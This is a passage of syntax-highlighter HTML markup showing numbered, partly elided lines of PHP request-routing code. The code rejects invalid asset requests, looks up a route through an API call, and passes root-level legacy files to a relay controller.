class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-36\"><span class=\"crayon-c\">\/* 75 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strlen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">AND<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">path<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-37\"><span class=\"crayon-c\">\/* 76 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-38\"><span class=\"crayon-c\">\/* 77 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-39\"><span class=\"crayon-c\">\/* 78 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-40\"><span class=\"crayon-c\">\/* 79 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-41\"><span class=\"crayon-c\">\/* 80 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/If there is an invalid image, js, or css request we wind up here. We can&#8217;t process any of them&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-42\"><span class=\"crayon-c\">\/* 81 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strlen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-43\"><span class=\"crayon-c\">\/* 82 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-44\"><span class=\"crayon-c\">\/* 83 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">strtolower<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-45\"><span class=\"crayon-c\">\/* 84 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;.gif&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">OR<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;.png&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">OR<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;.jpg&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">OR<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;.css&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-46\"><span class=\"crayon-c\">\/* 85 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">OR<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strtolower<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;.js&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-47\"><span class=\"crayon-c\">\/* 86 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-48\"><span class=\"crayon-c\">\/* 87 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">header<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;HTTP\/1.0 404 Not Found&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-49\"><span class=\"crayon-c\">\/* 88 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-50\"><span class=\"crayon-c\">\/* 89 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-51\"><span class=\"crayon-c\">\/* 90 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-52\"><span class=\"crayon-c\">\/* 91 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-53\"><span class=\"crayon-c\">\/* 92 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-54\"><span class=\"crayon-c\">\/* 93 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-55\"><span class=\"crayon-c\">\/* 94 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ Start with no error.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-56\"><span class=\"crayon-c\">\/* 95 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">route<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Api_InterfaceAbstract<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">instance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">callApi<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;route&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;getRoute&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;pathInfo&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;queryString&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;QUERY_STRING&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-57\"><span class=\"crayon-c\">\/* 96 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-58\"><span class=\"crayon-c\">\/* 97 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">Exception<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-59\"><span class=\"crayon-c\">\/* 98 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-60\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-61\"><span class=\"crayon-c\">\/* 106 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-62\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-63\"><span class=\"crayon-c\">\/* 127 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">route<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-64\"><span class=\"crayon-c\">\/* 128 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-65\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-66\"><span class=\"crayon-c\">\/* 188 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-67\"><span class=\"crayon-c\">\/* 189 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-68\"><span class=\"crayon-c\">\/* 190 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-69\"><span class=\"crayon-c\">\/* 191 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ if no route was matched, try to parse route as \/controller\/method&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-70\"><span class=\"crayon-c\">\/* 192 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stripped_path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">preg_replace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;\/[^a-z0-9\/-_.]+\/i&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">trim<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strval<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-71\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-72\"><span class=\"crayon-c\">\/* 229 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-73\"><span class=\"crayon-c\">\/* 230 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-74\"><span class=\"crayon-c\">\/* 231 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/this could be a legacy file that we need to proxy.&nbsp;&nbsp;The relay controller will handle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-75\"><span class=\"crayon-c\">\/* 232 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/cases where this is not a valid file.&nbsp;&nbsp;Only handle files in the &#8220;root directory&#8221;.&nbsp;&nbsp;We&#8217;ll&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-76\"><span class=\"crayon-c\">\/* 233 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/handle deeper paths via more standard routes.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-77\"><span class=\"crayon-c\">\/* 234 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strpos<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-78\"><span class=\"crayon-c\">\/* 235 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-79\"><span class=\"crayon-c\">\/* 236 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;relay&#8217;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-80\"><span class=\"crayon-c\">\/* 237 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span 